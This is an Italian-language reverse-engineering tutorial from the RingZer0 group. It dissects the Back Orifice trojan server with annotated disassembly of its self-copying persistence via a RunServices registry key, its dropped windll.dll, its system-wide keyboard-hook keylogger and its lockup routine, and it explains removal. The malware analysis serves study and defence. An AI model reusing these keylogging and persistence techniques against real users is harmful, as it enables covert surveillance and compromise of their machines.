Little-John, proud member of RingZer0 (ringzer0.cjb.net), presents * R e v e r s i n g * B O S e r v e r * LETTERATURA ------------ Iczelion's Guide to Winsock Programming (in Italiano su RingZ3r0) WIN32 Api Guide MSDN Library Visual Studio 6 TOOLS (CHE IO USO :) -------------------- SoftIce 3.23 (o 4.0 !!!) BoundsChecker C++ v6.01 IDA Pro v3.8b Premessa: il funzionamento del BO --------------------------------- Il Bo consta di 2 parti: server & client. Il server risiede sulla macchina da hackare, il client su quella dell''hacker' (se cos∞ possono essere definite le persone che ne fanno uso, altro termine pi∙ appropriato sarebbe 'lamerone bastardo'). Cos∞ il client, attraverso la rete, manda le richieste al server, il server le soddisfa sulla macchina su cui risiede, e manda l'esito delle operazioni al client. Reversing BoServer ------------------ Salve a tutti i naviganti, che forse, dopo aver letto questa ish, chiuderanno la connessione e butteranno il modem dalla finestra :). Provate a ricercare in un motore di ricerca 'Back Orifice', oppure 'Bo Server' e poi, perchΦ no, anche 'Nobo'... fatevi un po' di cultura sull'argomento e poi continuate Ok, ora che sapete cos'Φ il BO sarete forse anche curiosi di sapere come funziona, e in questa ish analizziamo il lato server (quello che fa pi∙ male ;). Prima di tutto disassemblate con IDA il file server (mi raccomando a stare attenti con l'esecuzione del boserver, pu≥ avere diversi nomi, e dopo l'esecuzione lo ritrovate in \windows\system\ .exe, si proprio ' ..exe'). Infatti analizzando il file con il BoundsChecker, si nota che il server si autocopia nella directory \windows\system come .exe, si autocancella dalla posizione corrente e crea nel registro di windows una chiave per autoavviarsi ad ogni avvio (HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices). A questo punto la macchina Φ 'infetta' e il server accoglierα ogni richiesta dei client BO (se provate in locale lo potrete constatare). Naturalmente basta cancellare la chiave del registro '(Predefinito) .exe' e al successivo riavvio il Server Φ disattivato. SNiPPeT Per analizzare meglio il file bisogna fare in modo che, quando si autocopia, cambi il proprio nome in maniera diversa da ' .exe', per esempio 'a.exe'. Non crediate che questa operazione eviti il caricamento corretto del server: se fate in modo che il file si autorinonimi in a.exe, nella chiave di registro ..\Windows\CurrentVersion\RunServices troverete a.exe. Infatti questo cambiamento si attua modificando la stringa ' .exe' in 'a.exe' nel file del server, quindi per tutte le operazioni sarα usata la stringa a.exe. Anche in SoftIce se non cambiate il file a digitate 'task' nella vostra lista di task attivi troverete uno spazio vuoto. Dopo aver patchato il file tra i task ci sarα, ad esempio, a. end SNiPPeT L'inizializzazione del socket Φ all'indirizzo 00404244 con la funzione WSOCK32_115 che potreste rinominare con _WSAStartup. ..text:00404238 8D 85 1C D0 FF FF lea eax, [ebp+WSAData] ..text:0040423E 50 push eax ..text:0040423F 68 01 01 00 00 push 101h ..text:00404244 E8 5F 75 00 00 call _WSAStartup I parametri quindi passati alla funzione, naturalmente in ordine inverso, sono il puntatore alla struttura WSAData e la versione del socket (1.1 in questo caso). Dopo la creazione del socket il server non si butta a capofitto nella apertura dei 'servizi', ma crea attorno a sΦ un ambiente in cui vengano implementate tutte le funzioni. Ad esempio per il keyboard / console hooking il server crea on-the-fly ad ogni avvio windll.dll (la trovate nella directory \system) che esporta due funzioni 1 _KeyHookProc@12 2 _ConsoleHookProc@12 Il server, per assicurarsi che la dll sia la sua, la cancella ogni volta che viene avviato e poi la ricrea. Siccome la dll Φ hardcodata nel file, il server usa SetFilePointer, poi legge nel file il codice della dll e mette tutto in un buffer ed infine crea il file con i dati del buffer. Il codice della creazione Φ: 004042FB 8D 85 90 F5 FF FF lea eax, [ebp+FileName] 00404301 53 push ebx 00404302 68 80 00 00 00 push 80h 00404307 6A 02 push 2 00404309 53 push ebx 0040430A 53 push ebx 0040430B 68 00 00 00 C0 push 0C0000000h 00404310 50 push eax 00404311 FF 15 5C 24 42 00 call ds:CreateFileA ; CreateFileA: 00404317 8B F0 mov esi, eax 00404319 57 push edi ; HRSRC 0040431A 53 push ebx ; Hmodule 0040431B FF 15 74 24 42 00 call ds:SizeofResource ; SizeofResource 00404321 89 45 EC mov [ebp+FileSize], eax 00404324 3B C3 cmp eax, ebx 00404326 74 12 jz short loc_0_40433A 00404328 53 push ebx 00404329 8D 45 D8 lea eax, [ebp+STROverlapped] 0040432C 50 push eax ; BytesWritten 0040432D FF 75 EC push [ebp+FileSize] ; BytesToWrite 00404330 FF 75 E8 push [ebp+lpBuffer] ; Buffer 00404333 56 push esi ; FileHandle 00404334 FF 15 8C 24 42 00 call ds:WriteFile ; WriteFile: 0040433A loc_0_40433A: 0040433A 56 push esi 0040433B FF 15 D8 24 42 00 call ds:CloseHandle ; CloseHandle: 00404341 FF 75 E8 push [ebp+lpBuffer] 00404344 FF 15 70 24 42 00 call ds:FreeResource ; FreeResource: Se provate a cancellare questa dll e azionate il keyboard hooking dal client leggerete un messaggio di errore nella finestra del client (Error 1157:Impossibile trovare uno dei file della libreria necessari per eseguire l'applicazione loading DLL). Le chiamate successive inerenti al socket sono: _CreateSpecSock (WSOCK32_23), creazione del socket _ConvToTCP (WSOCK32_9), conversione dell'indirizzo in formato TCP/IP _LinkAddrToSock (WSOCK32_2), bind, cioΦ assegna un indirizzo al socket Le richieste del client sono gestite da un apparato 'switch case' di 64 casi totali, tra cui la gestione degli errori (unknown command e unimplemented function): ..text:00404A58 83 F8 3F cmp eax, 3Fh ; switch 64 cases ..text:00404A5B 77 07 ja short loc_0_404A64 ; default ..text:00404A5D FF 24 85 BB 99 40+jmp ds:off_0_4099BB[eax*4] ; switch jump ..text:00404A64 68 8C 7B 41 00 loc_0_404A64: ..text:00404A64 push offset str->UnknownCom ; default ..text:00404A69 8D 85 64 E5 FF FF lea eax, [ebp+SystemDirectory] ..text:00404A6F 50 push eax ..text:00404A70 E9 7E 4E 00 00 jmp loc_0_4098F3 In questa ish analizzeremo le funzioni (a mio parere) pi∙ interessanti ;> che il server mette a disposizione del client: - KeyLog (begin/end) - System Lockup KEYLOGGING ---------- Come ho prima affermato il codice della funzione per loggare la digitazione dei tasti non risiede nel server, ma nella dll da lui creata (windll.dll). ..text:00405656 8D 85 3C FD FF FF KeyLog: ..text:00405656 lea eax, [ebp+MessageBuffer] ; case 0x7 ..text:0040565C 50 push eax ..text:0040565D E8 7E 61 00 00 call MessageLength ; ret (eax=length) ..text:00405662 83 C4 04 add esp, 4 ..text:00405665 85 C0 test eax, eax ..text:00405667 0F 84 79 42 00 00 jz loc_0_4098E6 ..text:0040566D 39 1D 50 71 41 00 cmp HookHandle, ebx /* In questa parte dell'applicazione viene ricevuto il messaggio di keylogging e viene effettuato un controllo per assicurarsi che non sia giα stato avviato. Infatti se la variabile HookHandle Φ contiene l'handle del processo di hooking allora viene generato un messaggio di LoggingInProgress */ ..text:00405673 74 11 jz short InitKeyHook ;---+ ..text:00405675 68 60 81 41 00 push offset str->LoggingInP ; | ..text:0040567A 8D 85 64 E5 FF FF lea eax, [ebp+SystemDirectory] ; | ..text:00405680 50 push eax ; | ..text:00405681 E9 6D 42 00 00 jmp loc_0_4098F3 ; | ..text:00405686 InitKeyHook: ;<--+ /* Tutte le operazioni svolte con i tasti dall'utente vengono salvate in un file che viene mappato in memoria: ..text:00405686 68 4C 81 41 00 push offset str->Bofilema_0 ; nome file ..text:0040568B 68 08 01 00 00 push 108h ; attrib ..text:00405690 53 push ebx ; protezione del file ..text:00405691 6A 04 push 4 ; high-order size ..text:00405693 53 push ebx ; low-order size ..text:00405694 6A FF push 0FFFFFFFFh ; handle del file ..text:00405696 FF 15 40 24 42 00 call ds:CreateFileMappingA /* Nella guida delle API di Winsoz Φ riportato che se l'handle del file Φ 0FFFFFFFFh, allora il file pi∙ che essere l'immagine in memoria di un file fisico, Φ, in sostanza, una zona di memoria le cui dimensioni sono passate alla chiamata (high-low order 32bits). L'handle del file Φ restituito in eax */ ..text:0040569C 53 push ebx ..text:0040569D 89 45 94 mov [ebp+MapFileHandle], eax ..text:004056A0 3B C3 cmp eax, ebx ..text:004056A2 75 22 jnz short loc_0_4056C6 [...] ..text:004056C6 loc_0_4056C6: ..text:004056C6 53 push ebx ..text:004056C7 53 push ebx ..text:004056C8 6A 02 push 2 ..text:004056CA FF 75 94 push [ebp+MapFileHandle] ..text:004056CD FF 15 68 24 42 00 call ds:MapViewOfFile /* Il file Φ quindi mappato in modo readwrite nello spazio di indirizzamento del server, eax indica l'indirizzo da cui inizia la mappatura */ ..text:004056D3 8B F0 mov esi, eax ..text:004056D5 8D 85 3C FD FF FF lea eax, [ebp+var_2C4] ..text:004056DB 50 push eax ..text:004056DC 56 push esi ..text:004056DD E8 CE 64 00 00 call MessageCreator ..text:004056E2 83 C4 08 add esp, 8 ..text:004056E5 56 push esi ..text:004056E6 FF 15 C8 24 42 00 call ds:UnmapViewOfFile /* ... */ ..text:004056EC BE 2C 7B 41 00 mov esi, offset str->Windll_dll ..text:004056F1 56 push esi ..text:004056F2 FF 15 14 24 42 00 call ds:LoadLibraryA ..text:004056F8 89 45 D4 mov [ebp+LibHandle], eax ..text:004056FB 3B C3 cmp eax, ebx ..text:004056FD 75 2E jnz short loc_0_40572D [...] ..text:0040572D push offset str->_keyhookpr ..text:00405732 FF 75 D4 push [ebp+LibHandle] ..text:00405735 FF 15 10 25 42 00 call ds:GetProcAddress ..text:0040573B 53 push ebx ..text:0040573C 85 C0 test eax, eax ..text:0040573E 75 22 jnz short loc_0_405762 /* Una volta che la libreria Φ stata aperta viene importato l'indirizzo della funzione di keyhooking (in eax) */ [...] ..text:00405762 loc_0_405762: ..text:00405762 FF 75 D4 push [ebp+LibHandle] ..text:00405765 50 push eax ..text:00405766 6A 02 push 2 ..text:00405768 FF 15 20 26 42 00 call ds:SetWindowsHookExA ..text:0040576E A3 50 71 41 00 mov HookHandle, eax ..text:00405773 3B C3 cmp eax, ebx ..text:00405775 75 31 jnz short loc_0_4057A8 /* Con l'api SetWindowsHookExA viene settata la funzione di hooking, in particolare siccome ebx Φ uguale a 0, tutti i thread sono 'affetti' dall'hooking e il tipo di hooking specificato Φ il WH_KEYBOARD (push 2) */ [...] ..text:004057A8 loc_0_4057A8: ..text:004057A8 68 D0 80 41 00 push offset str->LoggingKey ..text:004057AD 8D 85 64 E5 FF FF lea eax, [ebp+SystemDirectory] ..text:004057B3 50 push eax ..text:004057B4 E8 F7 62 00 00 call sub_0_40BAB0 ..text:004057B9 E9 3A 41 00 00 jmp loc_0_4098F8 Ma ora vediamo in cosa effettivamente consiste la funzione di keyhooking ( hey Neural ;) cos∞ come sviluppata nella windll.dll. ..text:10001056 68 70 33 00 10 push offset str->Bofilemapp ..text:1000105B 6A 00 push 0 ..text:1000105D 6A 02 push 2 ..text:1000105F FF 15 E8 40 00 10 call ds:OpenFileMappingA ..text:10001065 8B F0 mov esi, eax ..text:10001067 85 F6 test esi, esi ..text:10001069 75 07 jnz short loc_0_10001072 [...] ..text:10001072 loc_0_10001072: ..text:10001072 6A 00 push 0 ..text:10001074 6A 00 push 0 ..text:10001076 6A 00 push 0 ..text:10001078 6A 02 push 2 ..text:1000107A 56 push esi ..text:1000107B FF 15 E4 40 00 10 call ds:MapViewOfFile ..text:10001081 8B F8 mov edi, eax ..text:10001083 68 6C 33 00 10 push offset str->A ..text:10001088 57 push edi ..text:10001089 FF 15 14 41 00 10 call ds:fopen ..text:1000108F 83 C4 08 add esp, 8 ..text:10001092 8B D8 mov ebx, eax ..text:10001094 57 push edi ..text:10001095 FF 15 E0 40 00 10 call ds:UnmapViewOfFile ..text:1000109B 56 push esi ..text:1000109C FF 15 F8 40 00 10 call ds:CloseHandle ..text:100010A2 85 DB test ebx, ebx /* Il file in cui viene loggato l'input da tastiera Φ ora aperto e accessibile con un handle */ ..text:100010A4 0F 84 E4 04 00 00 jz Error ..text:100010AA FF 15 50 41 00 10 call ds:GetFocus ..text:100010B0 39 05 10 30 00 10 cmp dword_0_10003010, eax ..text:100010B6 8B E8 mov ebp, eax ..text:100010B8 0F 84 85 00 00 00 jz loc_0_10001143 ..text:100010BE 68 68 33 00 10 push offset str->-> ; formato ..text:100010C3 8B 35 3C 41 00 10 mov esi, ds:fprintf ..text:100010C9 53 push ebx ; puntatore al file ..text:100010CA FF D6 call esi (=fprintf) /* La funzione fprintf lavora cos∞: acquisisce il puntatore alla struttura file (ebx in questo caso) e il tipo di formattazione da usare (->). Se non Φ specificata la formattazione la funzione utilizzerα di default %. Quindi la prima cosa che il server scriverα nel file di logging Φ -> seguito, come vedremo dal titolo della finestra in cui si digita il testo. */ ..text:100010CC 8D 84 24 20 01 00+lea eax, [esp+520h+WindTextBuf] ..text:100010D3 83 C4 08 add esp, 8 ..text:100010D6 89 2D 10 30 00 10 mov dword_0_10003010, ebp ..text:100010DC 68 00 04 00 00 push 400h ..text:100010E1 50 push eax ..text:100010E2 55 push ebp ..text:100010E3 FF 15 58 41 00 10 call ds:GetWindowTextA /* Con questa funzione viene ricevuto il titolo della finestra. */ ..text:100010E9 85 ED test ebp, ebp ..text:100010EB 74 49 jz short loc_0_10001136 ..text:100010ED loc_0_100010ED: ..text:100010ED 55 push ebp ..text:100010EE FF 15 54 41 00 10 call ds:GetParent ..text:100010F4 8B E8 mov ebp, eax ..text:100010F6 68 00 04 00 00 push 400h ..text:100010FB 8D 84 24 1C 01 00+lea eax, [esp+51Ch+WindTextBuf] ..text:10001102 50 push eax ..text:10001103 55 push ebp ..text:10001104 FF 15 58 41 00 10 call ds:GetWindowTextA ..text:1000110A 8D BC 24 18 01 00+lea edi, [esp+518h+WindTextBuf] ..text:10001111 B9 FF FF FF FF mov ecx, 0FFFFFFFFh ..text:10001116 2B C0 sub eax, eax ..text:10001118 F2 AE repne scasb ..text:1000111A F7 D1 not ecx ..text:1000111C 49 dec ecx ..text:1000111D 74 13 jz short loc_0_10001132 ..text:1000111F 8D 84 24 18 01 00+lea eax, [esp+518h+WindTextBuf] ..text:10001126 50 push eax ..text:10001127 68 60 33 00 10 push offset str->S ..text:1000112C 53 push ebx ..text:1000112D FF D6 call esi (=fprintf) /* Qui viene scritto nel file il titolo della finestra poichΦ a fprintf sono passati: - eax = testo da scrivere, cioΦ il titolo della finestra in cui si sta digitando - str->S = formattazione della stringa, questa volta ['%s'], quindi di tipo string - ebx = puntatore al file */ ..text:1000112F 83 C4 0C add esp, 0Ch ..text:10001132 loc_0_10001132: ..text:10001132 85 ED test ebp, ebp ; ebp = 0 se non ci sono altre ; finestre ..text:10001134 75 B7 jnz short loc_0_100010ED ..text:10001136 loc_0_10001136: ..text:10001136 68 5C 33 00 10 push offset ACapo ; 0A ..text:1000113B 53 push ebx ..text:1000113C FF D6 call esi (=fprintf) /* Quando la struttura della finestra in cui l'infetto scrive Φ stata sufficientemente analizzata viene scritto nel file il byte di CarriageReturn (0A) */ ..text:1000113E 83 C4 08 add esp, 8 ..text:10001141 EB 06 jmp short loc_0_10001149 ..text:10001143 loc_0_10001143: ..text:10001143 loc_0_10001143: ..text:10001143 8B 35 3C 41 00 10 mov esi, ds:fprintf ..text:10001149 loc_0_10001149: ..text:10001149 F6 84 24 25 05 00+test byte ptr [esp+518h+HookHandle+1], 20h ..text:10001151 74 0C jz short SwitchCase ..text:10001153 53 push ebx ..text:10001154 6A 5E push 5Eh ..text:10001156 FF 15 38 41 00 10 call ds:fputc ..text:1000115C 83 C4 08 add esp, 8 ..text:1000115F SwitchCase: ..text:1000115F 8B AC 24 20 05 00+mov ebp, [esp+518h+HookCode] ..text:10001166 8D 4D FF lea ecx, [ebp-1] ..text:10001169 81 F9 FD 00 00 00 cmp ecx, 0FDh ..text:1000116F 77 0F ja short loc_0_10001180 ..text:10001171 33 C0 xor eax, eax ..text:10001173 8A 81 5C 17 00 10 mov al, ds:byte_0_1000175C[ecx] ..text:10001179 FF 24 85 EC 15 00+jmp ds:off_0_100015EC[eax*4] ..text:10001180 loc_0_10001180: /* Il codice sopra serve per analizzare l'input da tastiera: con una struttura Switch Case vengono gestiti i diversi tasti, dai Control a quelli del tastierino numerico... Quando viene acquisito il tasto la funzione aggiorna il file e lo chiude. Tutto ricomincierα quando viene premuto un altro tasto */ KEYLOGGING END SYSTEM LOCKUP ------------- Come fa il server a bloccare il computer? Il sistema utilizzato dai ragazzi del Cult_of_the_dead_Cow Φ tanto semplice quanto ingegnoso :). ..text:00409970 MachineLock: ; case 0x3 ..text:00409970 33 F6 xor esi, esi ..text:00409972 8D 45 AC lea eax, [ebp+var_54] ..text:00409975 56 push esi ..text:00409976 56 push esi ..text:00409977 56 push esi ..text:00409978 FF 75 E3 push [ebp+Action+3] ..text:0040997B 68 C8 8C 41 00 push offset str->LockingUpM ..text:00409980 50 push eax ..text:00409981 FF 75 E4 push [ebp+var_1C] ..text:00409984 E8 E1 78 FF FF call DataSender /* Il server invia il messaggio al client per assicurargli che l'operazione Φ stata svolta */ ..text:00409989 83 C4 1C add esp, 1Ch ..text:0040998C 68 D0 07 00 00 push 7D0h ..text:00409991 FF 15 A4 24 42 00 call ds:Sleep ..text:00409997 68 00 01 00 00 push 100h ..text:0040999C FF 15 D0 24 42 00 call ds:GetCurrentProcess ..text:004099A2 50 push eax ..text:004099A3 FF 15 1C 24 42 00 call ds:SetPriorityClass /* Il server passa la propria prioritα a realtime (push 100) */ ..text:004099A9 loc_0_4099A9: ..text:004099A9 56 push esi ..text:004099AA 56 push esi ..text:004099AB E8 A0 3A 00 00 call sub_0_40D450 ..text:004099B0 50 push eax ..text:004099B1 6A 09 push 9 ..text:004099B3 FF 15 20 26 42 00 call ds:SetWindowsHookExA ..text:004099B9 EB EE jmp short loc_0_4099A9 /* Viene installato in maniera ricorsiva un hook di tipo Debug in un loop infinito :P */ SYSTEM LOCKUP END Ultime considerazioni --------------------- Le altre funzioni implementate dal server non sono niente di particolare (dal punto di vista del reversing) e lascio alla vostra curiositα la loro esplorazione. Hey boyz, non perdetevi la prossima tute sul NOBO ;) Ring-raziamenti Naturalmente non posso non salutare tutti i members di RingZ3r0, e tutti coloro che frequentano #crack-it. Sperando di incontrarvi al prossimo Hack-it Little-John